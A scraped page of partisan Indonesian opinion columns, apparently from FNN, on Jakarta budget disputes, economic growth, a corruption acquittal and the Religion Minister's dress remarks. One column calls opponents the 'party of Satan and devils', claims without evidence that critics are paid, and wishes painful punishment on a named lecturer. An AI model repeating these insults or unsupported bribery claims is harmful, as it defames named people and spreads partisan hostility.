triliun jika saat itu tidak dibenahi. Khusus di Dinas Pendidikan DKI, jumlah anggaran yang dicoret Jokowi mencapai Rp1 triliun. Jadi temuan PSI ini selain tak ada seujung kuku dibandingkan temuan dimasa Jokowi-Ahok, juga bukan semacam temuan baru. Kelima, tampaknya para politisi ingusan dari PSI perlu lebih banyak belajar soal anggaran, terutama etika mengkritisi anggaran. Agar jangan sampai berniat bak pahlawan, tapi keluarannya justru menunjukkan mereka adalah pahlawan kesiangan. Anggota Tim Gubernur untuk Percepatan Pembangunan (TGUPP) bidang Pencegahan Korupsi Ibu Kota Nursyahbani Katjasungkana yang dikenal orang vokal sejak zaman Soeharto hingga hari ini, menyarankan politikus PSI belajar lagi mengenai proses penganggaran Kritik PSI terhadap rancangan anggaran Pemprov DKI Jakarta dikatakan tidak tepat karena baru berupa draf pagu anggaran yang masih harus melewati tahapan panjang dan bisa diubah. "PSI mesti belajar proses penganggaran, yang dibahas ke publik [mestinya] bukan draf pagu anggaran," kata Nursyahbani. Draf pagu anggaran atau dummy anggaran itu masih tahap awal sekali, artinya kalau di Bappeda, stafnya memberikan istilah itu komponen dummy. Dan itu bukan hanya praktik di era Anies. Masa Ahok itu kan membeli penghapus sekian miliar. Nursyahbani menekankan bahwa data yang dikritik PSI dan diributkan publik masih berupa pengajuan KUA-PPAS 2020 DKI Jakarta. Komponen yang dimasukkan bukan yang sebenarnya dan hanya patokan awal saja. Sebab, kata dia, setelah itu masih ada penentuan detail komponen anggaran yang sesungguhnya, proses review, hingga perbaikan-perbaikan. Mungkin satu lagi yang belum pernah didengar politisi ingusan dari PSI, bahwa sepanjang Jokowi-Ahok memimpin Jakarta, APBD DKI selalu mendapat opini audit wajar dengan pengecualian (WDP) sejak 2014-2017 oleh BPK DKI. APBD dibawah Jokowi-Ahok dianggap wajar, tapi ada beberapa perkecualian yang harus diperbaiki. Begitu setahun Anies memimpin DKI, opini audit DKI Jakarta langsung naik kelas ke wajar tanpa pengecualian (WTP). Pengelolaan APBD DKI dianggap BPK DKI selain wajar, tak ada lagi yang dikecualikan. Artinya pengelolaan APBD di tangan Anies lebih advance dibandingkan Jokowi-Ahok yang menjadi junjungan para politisi PSI. Pendek kata, hei PSI, sekadar tahu saja ya, Anies lebih jagolah dibandingkan junjungan kalian kalau soal menyusun dan merealisasikan anggaran...! Penulis adalah wartawan senior.

Lem Aibon: Kenapa Kalian Makin Sinting?

By Asyari Usman Jakarta, FNN - Sulit dimengerti. Tiba-tiba William Aditya Sarana dijadikan pahlawan. Karangan bunga simpati dikirimkan kepada anggota DPRD DKI dari Partai Solidaritas Indonesia (PSI) itu. Cukup banyak papan bunga yang terpampang di dekat gedung Dewan. Isinya memuji-muji William. Dia dianggap berjasa “membongkar” kejanggalan isian e-budgeting anggaran belanja pemprov DKI. Ada lem Aibon 82 miliar dan pena ballpoint 124 miliar. Kedua-duanya tak masuk akal. Janggal. William seolah menemukan korupsi yang akan dilakukan Gubernur Anies Baswedan. Padahal, semua orang tahu bahwa yang justru menyisir keanehan itu adalah Anies sendiri. Anies yang lebih dulu mempersoalkan itu. Bukan William. Cuma dia tidak berkoar-koar. Tidak seperti Ahok ketika menemukan anak-buahnya bersalah. Tapi, temuan William yang sifatnya “kesiangan” itu dijadikan simbol heroik oleh sejumlah orang. Sangat sukar dipahami. Tak bisa dipahami kenapa temuan William yang tak bermakna sedikit pun itu dielu-elukan dengan karangan bunga pujian? Kenapa kesalahan staf Anies itu dipelintir menjadi kesalahan Gubernur? Seolah Gubernur sedang menyiapkan korupsi? Heran sekali. Heran, mengapa kalian semakin sinting? Luar biasa Anda. Tak masuk akal rasanya kalau kalian tak punya akal. Sungguh reaksi kalian lewat karangan bunga untuk William itu akan memberikan pendidikan politik aliran sesat. Padahal, kalian mengaku partai milenial. Partai yang kalian bentuk dengan tujuan untuk menampung pikiran sehat generasi muda. Sekarang, bagaimana mungkin publik akan mengakui keakalsehatan kalian? Yang kalian lakukan justru kebalikannya. Kalian menunjukkan diri kakian semakin kacau. Sangat disayangkan mengapa dari hari ke hari kalian makin sinting. Seharusnya karangan bunga itu mewakili akal sehat. Tapi, kalian jadikan itu pertanda kesintingan.[] Penulis adalah wartawan senior.

Pertumbuhan Stagnasi Pemerintahan Jokowi

Oleh Hudzaifah Jakarta, FNN - Badan Pusat Statistik (BPS) baru saja mengumumkan pertumbuhan ekonomi Indonesia pada kuartal III 2019 hanya 5,02%. Angka ini semakin mempertebal keyakinan publik bahwa Presiden Jokowi gagal merealisasikan janji politiknya untuk menjaga pertumbuhan ekonomi minimal 7%. Realisasi pertumbuhan 5,02% itu di bawah target pertumbuhan 2019 sebesar 5,3%, juga lebih rendah dari pencapaian kuartal III 2018 yakni sebesar 5,17%. Bahkan juga lebih rendah dari pencapaian kuartal II 2019 di level 5,05%. Dari capaian pertumbuhan ekonomi tersebut, sebenarnya 55,03% disumbang oleh konsumsi rumah tangga. Pertanyaanya, mengapa realisasi pertumbuhan ekonomi Pemerintahan Jokowi seperti stagnasi di kisaran 5%? Apa yang salah dan solusi apa yang harus ditempuh Pemerintah Jokowi ke depan. Kepala BPS Kecuk Suhariyanto mengungkapkan, "Saya ulangi lagi pertumbuhan ekonomi Indonesia pada kuartal III 2019 sebesar 5,02%." Dari sumber pertumbuhan ekonomi di kuartal III 2019, ada sembilan sumber pertumbuhan yang mengalami kontraksi. Jika dibandingkan dengan kuartal III 2019, pertumbuhan tertinggi dari industri pengolahan ini bersumber dari lapangan industri pengolahan sebesar 0,86% (yoy). Pertumbuhan ini diikuti perdagangan besar dan eceran, reparasi mobil dan sepeda motor sebesar 0,63% (yoy), sektor konstruksi sebesar 0,56% (yoy), dan informasi komunikasi sebesar 0,47 persen (yoy). Sisanya, pertumbuhan ekonomi kuartal III/2019 bersumber dari lapangan usaha lain sebesar 2,50% (yoy). Suhariyanto mengatakan industri makanan dan minuman, tumbuh sebesar 8,33% (yoy), didukung peningkatan crude palm oil (CPO) yang meningkat sejalan dengan konsumsi domestik CPO. Industri furnitur juga tercatat tumbuh 6,93% (yoy) didorong oleh meningkatnya permintaan dari luar negeri. Dia menambahkan, kontraksi terjadi pada industri karet, barang dari karet dan plastik karena menurunnya permintaan ekspor akibat perang dagang. BPS menyebut sektor ini mengalami kontraksi minus 3,42% (yoy). Sektor lain yang juga mengalami kontraksi adalah industri alat angkutan, sebesar minus 1,23% (yoy), dan industri pengolahan secara khusus untuk industri batu bara dan pengilangan migas pada kuartal III 2019 juga tercatat kontraksi sebesar minus 0,74% akibat menurunnya produksi LNG, LPG, dan BBM. “Selama kuartal III 2019 ini harga komoditas migas dan non migas di pasar internasional juga mengalami penurunan secara year-on-year, maupun quarter-to-quarter,” demikian Suhariyanto. Sebenarnya trend penurunan pertumbuhan ekonomi menurun ini tak hanya menjadi monopoli Indonesia. China yang pada kuartal III tahun lalu masih mampu tumbuh 6,5%, pada kuartal tahun ini tinggal 6%. Sementara pertumbuhan Amerika Serikat pada periode yang sama turun dari 3,1% menjadi 2%. Begitu pula pertumbuhan ekonomi Singapura pada periode yang sama turun dari 2,6% menjadi 0,1%. Sedangkan Korea Selatan turun tipis 2,1% menjadi 2%. Jika dibandingkan Asean, pertumbuhan Indonesia lebih rendah dibandingkan Laos (6,8%), Kaboja (6,5%), Filipina (5,7%), dan Vietnam (7,3%). Tapi memang pertumbuhan ekonomi Indonesia lebih tinggi dibandingkan Thailand (3,5%), Malaysia (4,5%), dan Brunei (0,5%). Jika melihat lebih makro, setidaknya ada beberapa penyebab pertumbuhan ekonomi Indonesia kuartal III 2019 melemah. Pertama, dampak perang dagang antara China dan Amerika yang meluas ke Eropa, India, Jepang dan Korea Selatan. Hal ini tentu saja berdampak pada Indonesai sebagai partner dagang negara-negara sahabat tersebut. Defisit Indonesia Kedua, terjadi penurunan harga minyak dalam beberapa bulan terakhir, berdasarkan harga ICP dari US$71,64 menjadi 59,81 per barel. Hal ini menyebabkan penerimaan dari sektor migas ikut menurun. Ketiga, realisasi belanja APBN pada kuartal III 2019 hanya 22,75% dari pagu anggaran. Sehingga tidak mampu memompa pertumbuhan ekonomi lebih tinggi. Keempat, realisasi investasi dalam tiga bulan paruh ketiga tahun ini hanya 14% hingga 15%. Sehingga pertumbuhan ekonomi Indonesia mengalami stagnasi. Kelima, tingkat pencapaian penerimaan pajak yang rendah, terutama dari sektor pertambangan. Sampai akhir September 2019 penerimaan sektor ini baru mencapai Rp 43,2 triliun. Angka ini, tumbuh negatif 20,6% dan lebih rendah dibandingkan periode yang sama 2018 yang mampu tumbuh 69,9%. Total penerimaan pajak sampai Agustus 2019 baru Rp801,16 triliun atau 50,78% dari target penerimaan pajak sepanjang 2019 sebesar Rp1.577,65 triliun. Diperkirakan penerimaan pajak hingga Desember 2019 antara 85% hingga 88%, lebih rendah dibandingkan tahun 2018 sebesar 92%. “Kondisinya memang berat,” kata Dirjen Pajak Robert Pakpahan. Dengan melihat track record pertumbuhan ekonomi Pemerintahan Jokowi pada 2014 hingga 2019 rerata plus minus 5%, bahkan pada 2015 sempat 4,78%, menunjukkan bahwa terjadi stagnasi pertumbuhan ekonomi. Padahal Pemerintahan Jokowo sudah bekerja keras membangun infrastruktur, menggelontorkan ratusan triliun dana desa, membagikan berbagai dana sosial untuk rakyat. Melihat kondisi 2020 ke depan kondisi krisis akan datang lebih nyata, tampaknya target pertumbuhan 5,4% tahun depan, dapat dipastikan semakin sulit dicapai. Itu sebabnya Pemerintah Jokowi dengan kabinet barunya harus melakukan terobosan yang keras namun bersahabat dengan pasar dan tidak menyusahkan rakyat, agar pertumbuhan ekonomi bisa dijaga di level 5,4%. Meskipun berat. Tampaknya gambaran Presiden Jokowi kepada wartawan di istana negara bahwa ekonomi akan meroket, sambil memperagakan tangannya ke atas, tampaknya hanya tinggal mimpi. Saatnya wake up, sadarlah! Penulis adalah wartawan senior.

Jika Anies Yang Lempar Botol Air Itu ke Lapangan

Kejadian pelemparan itu sayangnya dilakukan oleh Gubernur Kalteng. Coba bayangkan, kalau saja kejadian tersebut dilakukan oleh goodberneeer Indonesia Anies Baswedan. Wah pasti ngga bisa tidur deh para politisi ingusan yang dungu bin togog dari Partai Syaiton dan Iblis (silahkan disingkat saja sendirilah) sudah bereaksi berjamaah. Dipastikan mereka beramai-ramai akan membully Bang Anies selama tujuh siang tujuh malam, dikali tujuh lagi. Oleh M. Naufal Dunggio Jakarta, FNN - Lagi ramai di media sosial Gubernur Kalimantan Tengah Sugianto Sabran melempar botol dari arah tribun VVIP ke tengah lapangan. Saat itu sedang terjadi pertandingan sepakbola antara Kalteng Putra melawan Persib Bandung. Posisi score ketika itu dimenangkan oleh Persib Bandung. Akibatnya Pak Gubernur Sugianto Sabran pun kuciwa berat, karena keseblasan kesayangan masyarakat Kalimantan Tengah kalah. Entah karena emosi atau tidak. Sadar atau tidak sadar, namun terlihat dengan jelas di video yang beredar di media social, Pak Gubernur Kalimantan Tengah sedang melemparkan sebotol air ke arah tengah lapangan. Lemparan tersebut, spontasn diikuti oleh penonton. Kajadian tersebut mangkibatkan pihak keamanan harus bekerja ekstra keras. Sehingga Pak Kapolresta Palangkaraya harus turun langsung ke tengah-tengah lapangan. Pak Kapolres meminta agar penonton menghentikan pelemparan tersebut. Aksi Pak Kapolres dengan aparat kemanan ini, rupa-rupanya tidak bisa diterima oleh Pak Gubernur Sabran. Pak Gubernur marah kepada Pak Kapolres. Pak Gubernur Sugianto tidak suka ditegur sama Kapolres, sehingga dia turun dari tribun memarahi Kapolres. Sayang sekali ya. Kenapa Pak Kapolres tidak gelandang dia Gubernur Sugianto Sabran ke kantor polisi yaa? Dan Pak Kapolres perlu tahan Gubernur Sabran barang satu atau dua hari saja dulu. Bagaimana rasanya seorang Gubernur tidur di kantor polisi. Kayak polisi yang suka menangkap para mahasiswa kalau melakukan pelemparan jika sedang demonstrasi. Kejadian pelemparan itu sayangnya dilakukan oleh Gubernur Kalteng. Coba bayangkan, kalau saja kejadian tersebut dilakukan oleh goodberneeer Indonesia Anies Baswedan. Wah pasti ngga bisa tidur deh para politisi ingusan yang dungu bin togog dari Partai Syaiton dan Iblis (silahkan disingkat saja sendirilah) sudah bereaksi berjamaah. Penulias pastikan mereka beramai-ramai akan membully Bang Anies selama tujuh siang tujuh malam, dikali tujuh lagi. Mereka, para pembenci Bang Anies tidak bisa tidur-tidur. Kalaupun mereka tidur pun, tidak bakalan bisa nyanyak. Mereka, sepanjang siang dan malam 1 x 24 jam secara bergantian menjaga dan memantau terus kinerja Bang Anies. Kapan saja selalu dicari-cari, damana saja salahnya Bang Anies? Tampaknya uang yang digelontorkan oleh sang Opung cukup besar untuk menghajar Bang Anies. Targetnya, supaya Bang Anies keok dan modar sebelum Pilpres tahun 2024 nanti. Contohnya uang biaya aibon dan pulpes yang ramai di media sosial itu. Mereka jadinya melototin terus kinerja Bang Anies. Melototin kesalahan Bang Anies itu ada duitnye. Itu kan kagak gratis. Bayangkan saja. Masak anggota DPRD DKI bisa langsung meributkan anggaran yang baru direncanakan. Anggarannya saja belum dibahas oleh DPRD. Sampai-sampai politisi muda dari PDIP yang bekas penyanyi cilik Tina Toon dengan lagu bolo-bolanya berkomentar pedes. “Boleh jadi bodoh, tapi jangan sampai jadi dungu permanen dong. Bikin malu lembaganya sendiri yang terhormat”. Kebencian kepada seseorang dikarenakan dendam kesumat, plus dibayar agar dendam itu tetap terpelihara sama sekali tidak mengenakkan. Bayangkan, orang yang dibenci tersebut tetap saja tersenyum dan tidak membalas. Dia juga tidak pernah marah. Sebaliknnya, dia menunjukkan kinerja yang sangat positif untuk kemashlahatan warga dan kotanya. Mending dinilai buruk, tetapi hasil kerjanya baik, dari pada dinilai baik tapi hasil kerjanya hancur-hancuran. Itulah motto dari Bang Anies. Dan motto ini membikin para politisi ingusan ini menderita batin, sampai pantat jadi ireng. Masih ada tiga tahun lagi penderitaan ini akan mereka alami. Kelihatannya, duit dari Opung susah bisa mereka nikmati, walau duitnya tak berseri. Duit itu akan membiayai otak dan hati mereka di rumah sakit, karena kraaam nggak bisa menemukan kesalahan Bang Anies dalam menakhodai Jakarta. Menuju pulau yang indah, yang menjadikan maju kotanya dan bahagia warganya. Kacuali warga di partai syaitan dan iblis. Saking banyak itu duit dikeluarin oleh si Opung, ada dosen Universitas Indonesia yang menjadi togog permanen. Baru kali ini di UI ada dosen jadi bloon setengah mampus. Menghina Bang Anies dengan membuat gambar Joker, dengan wajah goodberneer Indonesia. Dan dia bangga bikin seperti itu karena dia merasa kebal hukum walau sudah banyak laporan yang masuk ke polisi. Ah belum aja kau kena apes Ade Armando. Ini istidraj buat kamu. Ada suatu waktu sebelum kau mati, kau akan merasakan bagaimana perih dan pedihnya hukuman penghinaanmu pada agamamu. Pada manusia seperti pak Prabowo dan Bang Anies. Termasuk kepada yang lain. Semoga kita semua umur panjang, dan bisa menyaksikan itu. Tidak ada daun kering yang jatuh ke bumi lepas dari perhatian Ilahi Rabbi. Kita tinggal tunggu tanggal mainnya. Lambat atau cepat itu pasti terjadi. Semoga kita bisa menyaksikannya sebagai bahan i'tibar dan pembelajaran bagi hidup kita dan anak cucu kita. Hanya kepada Allah jualah kita berserah diri.

Sofyan Basir Bebas, Jabatan Dirut Pun Lepas

Oleh Hudzaifah Jakarta, FNN - Bak petir di siang bolong, Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta memvonis bebas mantan Dirut PT Perusahaan Listrik Negara (PLN) Sofyan Basir atas tuduhan memfasilitas pemberian suap atas proyek PLTU Riau-1. Sebelumnya Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) mendakwa Sofyan telah memfasilitasi pemberian suap terhadap pengusaha Johanes Budisutrisno Kotjo dan mantan anggota DPR Eni Maulani Saragih serta mantan Menteri Sosial Idrus Marham. "Majelis menyatakan terdakwa Sofyan Basir tidak terbukti secara sah dan meyakinkan sebagaimana dakwaan pertama dan kedua," kata hakim ketua Hariono saat membacakan amar putusan dalam sidang di Pengadilan Tipikor Jakarta, Jalan Bungur Besar Raya, Jakarta Pusat, kemarin. Sofyan dinyatakan tidak terbukti melanggar Pasal 12 huruf a juncto Pasal 15 Undang-Undang (UU) Pemberantasan Tipikor juncto Pasal 56 Ke-2 KUHP dan Pasal 11 juncto Pasal 15 UU Pemberantasan Tipikor juncto Pasal 56 ke-2 KUHP. Sofyan disebut hakim tidak terlibat dalam kasus dugaan suap berkaitan dengan proses kesepakatan proyek Independent Power Producer Pembangkit Listrik Tenaga Uap Mulut Tambang (IPP PLTU MT) Riau-1 antara PT Pembangkitan Jawa Bali Investasi (PJBI) dan Blackgold Natural Resources (BNR) Ltd dan China Huadian Engineering Company Limited (CHEC) Ltd. Sofyan disebut tidak berperan membantu Eni dalam menerima suap, bahkan dia juga diyakini tidak mengetahui pemberian suap Kotjo kepada Eni. Dan oleh karenanya segala haknya harus dikembalikan, yakni jabatan Dirut PLN. Jika dirunut ke belakang, sebenarnya ini adalah kekalahan keempat KPK di Pengadilan Tipikor. Pertama, kasus dugaan korupsi Wali Kota Bekasi Mochtar Mohammad dalam perkara penyuapan anggota DPRD sebesar Rp1,6 miliar, menyuap pegawai BPK Rp400 juta, menyalahgunakan anggaran makan-minum Rp639 juta, dan memberikan suap untuk mendapatkan Piala Adipura 2010. Oleh Pengadilan Tipikor Bandung di Pengadilan Negeri Bandung pada 11 Oktober 2011, Mochtar Mohamad dinyatakan tidak terbukti secara sah dan meyakinkan telah melakukan tindak pidana korupsi, membebaskan Mochtar Mohamad dari seluruh dakwaan dan memulihkan Harkat dan martabat serta kedudukan Mochtar Mohamad. Kedua, KPK kalau dalam perkara Bupati Kabupaten Rokan Hulu Suparman dalam kasus tindak pidana korupsi pembahasan APBD Perubahan provinsi Riau 2014 dan APBD 2015. Pada 23 Februari 2017, Pengadilan Tipikor Pekanbaru yang bertempat di Pengadilan Negeri Pekanbaru memvonis bebas Suparman. Ketiga, Mahkamah Agung (MA) mengabulkan kasasi Sjafruddin Arsyad Temenggung dalam kasus pemberian Surat Keterangan Lunas atas BLBI Sjamsul Nursalim senilai Rp4,58 triliun di Bang Dagang Nasional Indonesia. Keempat, Sofyan Basir divonis bebas oleh majelis pengadilan Tipikor Jakarta pada 4 November 2019 dalam perkara pembantuan kesepakatan proyek Pembangkit Listrik Tenaga Uap Mulut Tambang RIAU-1 (PLTU MT RIAU-1). Pembebasan itu sendiri karena Majelis Hakim memandang alat bukti atas tuntutan JPU KPK sangat lemah. Terkait kasus Sofyan, majelis hakim telah meminta agar haknya menduduki kembali jabatan Dirut PLN dikembalikan. Tetapi permintaan majelis hakim yang secara yuridis formil adalah sah, dalam kenyataannya tak semudah membalik telapak tangan. Sofyan Basir sebelumnya dinonaktifkan dari jabatan Dirut PLN oleh Kementerian BUMN sebagai tindak lanjut atas langkah KPK dalam menetapkannya sebagai tersangka kasus suap pembangunan Proyek Pembangkit Listrik Tenaga Uap (PLTU) Riau-1. Dengan vonis Pengadilan Tipikor itu apakah Sofyan Basir akan kembali menjadi Dirut PLN dengan mudah? Menteri BUMN Erick Thohir menyatakan dirinya tidak bisa memastikan apakah vonis bebas tersebut nantinya akan membuat Sofyan bisa mendapatkan jabatan direktur utama PLN yang pernah dicopot dari 'pundaknya' kembali. Menurutnya, pengisian jabatan direktur utama PLN tidak bisa dilakukan dengan sembarangan. Pengisian jabatan dilakukan melalui Tim Penilai Akhir (TPA) yang diketuai oleh Presiden Jokowi. "Pertanyaan mengenai apakah Pak Sofyan akan kembali memimpin PLN, ini bergantung pada keputusan Tim Penilai Akhir. Karena penentuan direksi PLN harus melalui TPA," demikian penjelasan Erick. Tentu saja pernyataan Erick bertolak belakang dengan putusan Pengadilan Tipikor Jakarta. Penjelasannya, perkara ini masih diajukan banding oleh KPK yang hasilnya masih fifty-fifty. Kalau jabatan Dirut PLN itu dikembalikan ke Sofyan Basir, sementara di pengadilan banding nanti Sofyan belum tentu menang. Alasan lain, mungkin saja Presiden Jokowi selaku Ketua TPA memiliki pandangan lain, seperti citra Sofyan Basir yang telah jatuh meskipun dinyatakan bebas, sehingga dikhawatirkan dapat mengganggu jalanannya kepemimpinan dia di PLN nati. Dan yang paling penting, ketika posisi Dirut PLN dinonaktifkan, tentu saja jabtan itu sudah diisi, walaupun oleh pejabat pelaksana tugas (Plt) Dirut PLN. Perlu diketahui, sejak dinonaktifkannya Sofyan Basir dari posisi Dirut PLN, sudah terjadi pergantian Plt Dirut PLN dua kali. Pada 29 Mei 2019, Djoko Rahardjo Abumanan ditunjuk dalam sebuah RUPS. Lalu posisi Djoko pun digantikan oleh Sripeni Inten Cahyani dalam RUPS pada 2 Agustus 2019. Dengan demikian, makin jauh harapan bagi Sofyan Basir untuk kembali ke kursi empuknya sebagai Dirut PLN. Boleh dia akan memanfaatkannya di Kementerian BUMN sebagai Deputi, Konsultan atau apa pun. Atau boleh jadi Sofyan sudah lelah menjabat dan memilih pensiun setelah lelah menjalani proses sidang. Yang jelas agak sulit bagi Sofyan untuk kembali sebagai Dirut PLN. Wallahu a’lam! Penulis adalah Wartawan Senior.

Wacana Ngawur Larangan Cadar dan Celana Cingkrang

Oleh Dimas Huda Jakarta, FNN - Islam mengajarkan serahkanlah urusan pada ahlinya. Dalam hadis riwayat Bukhari disebutkan bahwa Nabi bersabda: “Jika amanat telah disia-siakan, tunggu saja kehancuran terjadi.” Seorang sahabat bertanya; “bagaimana maksud amanat disia-siakan?“ Nabi menjawab; “Jika urusan diserahkan bukan kepada ahlinya, maka tunggulah kehancuran itu.” Di era kini, dikenal dengan istilah the right man in the right place. Secara sederhana kalimat itu dimaknai menempatkan orang sesuai keahliannya. Suatu tim akan mampu bergerak lebih cepat kalau orang di dalamnya mengurusi hal-hal sesuai keahliannya. Nyatanya, konsep ini mudah dikatakan tapi tidak selalu mudah diterapkan. Tengok saja susunan Kabinet Indonesia Maju atau KIM. Apakah Presiden Joko Widodo sudah menjalankan prinsip the right man in the right place? Untuk menilai hal itu tentu kita patut bersabar. Beri kesempatan dulu mereka, para menteri itu, bekerja. Okelah kalau begitu! Hanya saja, terhadap Fachrul Razi yang diamanahi sebagai Menteri Agama rasa-rasanya sulit bagi publik Muslim, untuk bersabar. Fachrul Razi sudah sangat berisik, cerewet dan menguras emosi umat. Publik membaca Menteri Agama yang mengaku hanya bisa menghafal juz ke-30 atau juz amma dari kitab suci Alquran, itu tak membaca secara benar tentang sejarah lahirnya kementerian agama. Bukti bahwa Fachrul Razi tidak memahami sejarah kementerian agama cukup jelas ditunjukkan ketika ia mengatakan bahwa dirinya bukan menteri agama Islam dan dia ditugaskan untuk melawan radikalisme. “Mengatakan bukan menteri agama Islam adalah pernyataan ahistoris. Sebab sejarah mencatat, bahwa aspirasi umat Islam diakomodir dengan terbentuknya kementerian itu,” tulis Dr. Ahmad Yani, Dosen FISIP dan Fakultas Hukum Universitas Muhammadiyah Jakarta. Apa yang ditulis Yani dan viral di media sosial itu sangat berdasar. Kementerian Agama dibentuk pada 1946 sebagai kompromi politik atas hilangnya tujuh kata dalam Piagam Jakarta, 22 Juni 1945. Sebagai pengingat, setelah proklamasi 17 Agustus 1945, umat Islam melalui tokoh-tokoh politiknya merelakan tujuh kata demi keutuhan bangsa. Pengorbanan umat Islam ini menjadi perhatian utama bagi pendiri bangsa. M. Yamin, berkata, "Tidak cukuplah jaminan kepada agama Islam dengan Mahkamah Tinggi saja, melainkan harus kita wujudkan menurut kepentingan agama Islam sendiri. Pendek kata menurut kehendak rakyat, bahwa urusan agama Islam yang berhubungan dengan pendirian Islam, wakaf dan masjid, dan penyiaran harus diurus oleh kementerian yang istimewa, yaitu yang kita namai Kementerian Agama." Pernyataan M. Yamin itu menjadi bukti sejarah bahwa Kementerian Agama adalah dibuat khusus untuk umat Islam dalam mengakomodir segala kepentingan umat Islam. Selain itu, Kementerian Agama juga yang menjadi titik temu antara nasionalis sekuler dan nasionalis agama. "Model Kementerian Agama ini pada hakikatnya adalah jalan tengah antara teori memisahkan agama dari negara dan teori persatuan agama dan negara," ucap Kiai Wahid Hasyim suatu ketika. Pemerintah mengumumkan berdirinya Kementerian Agama setelah disepakati secara aklamasi di Komite Nasional Indonesia Pusat atau KNIP. Haji Mohammad Rasjidi diangkat oleh Presiden Sukarno sebagai Menteri Agama Pertama. H.M. Rasjidi adalah seorang ulama berlatar belakang pendidikan Islam modern dan di kemudian hari dikenal sebagai pemimpin Islam terkemuka dan tokoh Muhammadiyah. Setelah itu, Kementerian Agama selalu diisi tokoh-tokoh Islam dari Nahdlatul Ulama, Muhammadiyah, dan ormas Islam lainnya. Di era Orde Baru Menag memang pernah dijabat pensiunan tentara. Mereka adalah Alamsyah Ratu Perwiranegara dan Tarmizi Thahir. Nama kedua tentara tapi memiliki latarbelakang pengetahuan agama yang memadai. Lagi pula, tidak ada dokumen yang mencatat Alamsyah dan Tarmizi pernah bilang bahwa dirinya bukan menteri agama Islam. Hanya pada era kinilah, Jenderal (Purn) Fachrul Razi, yang begitu. Inilah pentingnya Fachrul belajar lebih banyak lagi. Lagi pula, kewajiban belajar itu tidak mengenal usia. Belajar dari ayunan sampai ke liang lahat, begitu agama mengajarkan. Cara dan Celana Cingkrang Neta S. Pane dalam akun Facebooknya memosting foto dirinya dan aktor film Keanu Reeves yang mengenakan celana cingkrang. Neta menulis: Nyantai aje ye.....kata teman teman aye....aye ude terpapar.....Terpapar ape ye. Terpapar kek Keanu Reeves kali ye. Sama sama penggemar celana cingkrang. Toh kagak masalah....baik aye maupun Keanu....bukan PNS ato ASN. Jadi kami asyik asyik aje terpapar bercingkrang ria.....btw kurasa lebih gaunteng aye ketimbang Keanu.....Kurasa lho...xixixixixixj ngeri ngeri sedaplah pokoknye... Status satir Ketua Presidium IPW (Indonesia Police Watch) itu jelas ditujukan kepada Menteri Agama, Fachrul Razi. Meme yang lebih menohok lagi bertebaran di media sosial belakangan ini. Fachrul boleh jadi adalah menteri yang banyak mendapat reaksi negatif dari publik sejak ia dilantik menjadi Menag. Parahnya, Fachrul cenderung over acting yang boleh jadi untuk menutup kelemahannya. Sepertinya, Menag, Fachrul Razi, gagap. Ia terjebak pada kata “memerangi radikalisme” sebagai prioritas kerjanya sehingga dia tak tahu mesti memulai dari mana. Tiba-tiba ia melempar wacara larangan cadar dan celana cingkrang bagi PNS. Wacana yang kebablasan. Ngawur dan bikin gaduh. Dibilang ngawur, karena apa yang diwacanakan Fachrul memberi kesan bahwa cadar dan celana cingkrang adalah bagian dari radikalisme. Melarang cadar dan celana cingkrang bermakna memerangi kaum radikal. Ia lupa bahwa persoalan pelarangan cadar bukan cuma soal agama, tapi juga sudah soal hak asasi manusia (HAM). Pemerintah seharusnya tidak mencampuri ranah privat setiap warga negara. Sebab, privasi warga itu hal yang paling prinsip. "Sebaiknya Menteri Agama lebih hati-hati dalam melontarkan wacana,” ucap Wakil Ketua Komisi VIII DPR dari Fraksi Partai Golkar, Ace Hasan Syadzily, belum lama ini. Wajar saja, jika politisi PAN, Hanafi Rais, curiga jangan-jangan wacana pelarangan cadar dan celana cingkrang di instansi pemerintah itu dimunculkan untuk menutupi masalah kapasitas Fachrul. Di sisi lain, banyak masalah yang belum beres di Kementerian Agama. Itu yang mestinya menjadi prioritas. Misalnya persoalan haji, pendidikan agama, dan isu-isu yang lain. Menag lebih baik bicara yang lebih konkret dan lebih nyata di masyarakat, ketimbang bicara masalah remeh temeh soal celana cingkrang. “Itu jangan-jangan malah menutupi kapasitasnya sendiri yang mungkin tidak bisa atau tidak mampu," sindir Hanafi. Kepala Badan Nasional Penanggulangan Terorisme (BNPT), Suhardi Alius, juga meminta kepada seluruh pihak untuk tidak mengaitkan tampilan celana cingkrang dan berjenggot dengan radikalisme. Radikalisme merupakan pandangan ideologi bukan tampilan berpakaian. "Tidak bisa kita lihat dengan cara tata busana, kemudian berjenggot, celana cingkrang, tapi itu masalah ideologi," kata Suhardi, Jumat (1/11). Bukan melindungi tiap warga negara untuk memeluk agama berdasar keyakinannya, Fachrul justru sukses menyedot emosi umat. Maka pantas saja Presiden Joko Widodo merasa perlu turun tangan. "Kalau saya ya, yang namanya cara-cara berpakaian, cara berpakaian kan sebetulnya pilihan pribadi, pilihan personal, atau kebebasan pribadi setiap orang," ujarnya. Persoalan bangsa ini sudah sangat menumpuk. Kita berada pada pintu multi krisis: krisis ekonomi, krisis moral, dan krisis kepercayaan. Ironis, masih ada pejabat tinggi yang kuper, kurang pergaulan: sibuk mempermasalahkan celana cingkrang. Pantas saja jika ada menyindir: celana cingkrang dan cadar yang diyakini sebagai perintah agama dimasalahkan, celana mini suit... suit … Penulis adalah wartawan senior.

Cadar, Cingkrang dan Kebangkitan Peradaban Islam

Melihat gejala atau fenomena ini, sebenarnya apa dan siapa yang dirugikan dari kebangkitan peradaban Islam di Indonesia sih? Peradaban Islam, selain menentang dominasi kapitalisme, juga menentang sisi negatif liberalisme kehidupan. Seperti free sex, homosexual, pornografi, dan sejenisnya. Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Presiden Jokowi bereaksi menanggapi pandangan dan pernyataan Din Syamsudin, Rizal Ramli, dan lain lain tentang radikalisme. Terkahir adalah Said Aqil Siraj beberapa hari kemarin. Reaksi Presiden Jokowi ini telah meruntuhkan agenda aksi Jokowi terkait pemusnahan radikalisme. Jokowi langsung meralat istilah radikalisme yang terlanjur menjadi perbincangan hangat umat Islam. Radikalisme diganti Jokowi dengan "manipulator agama". Masih di bulan yang sama, akhir Oktober lalu, perintah Jokowi kepada Menteri Agama tentang radikalisme. Namun kemudian dia mencoba untuk menganulirnya sendiri. Pemimpin, seperti Jokowi, cenderung tanpa pengetahuan yang cukup tentang narasi besar bangsa ini ke depan. Merasa gampang memainkan kata-kata, yang konsepnya, hanya bisa dipahami melalui kajian 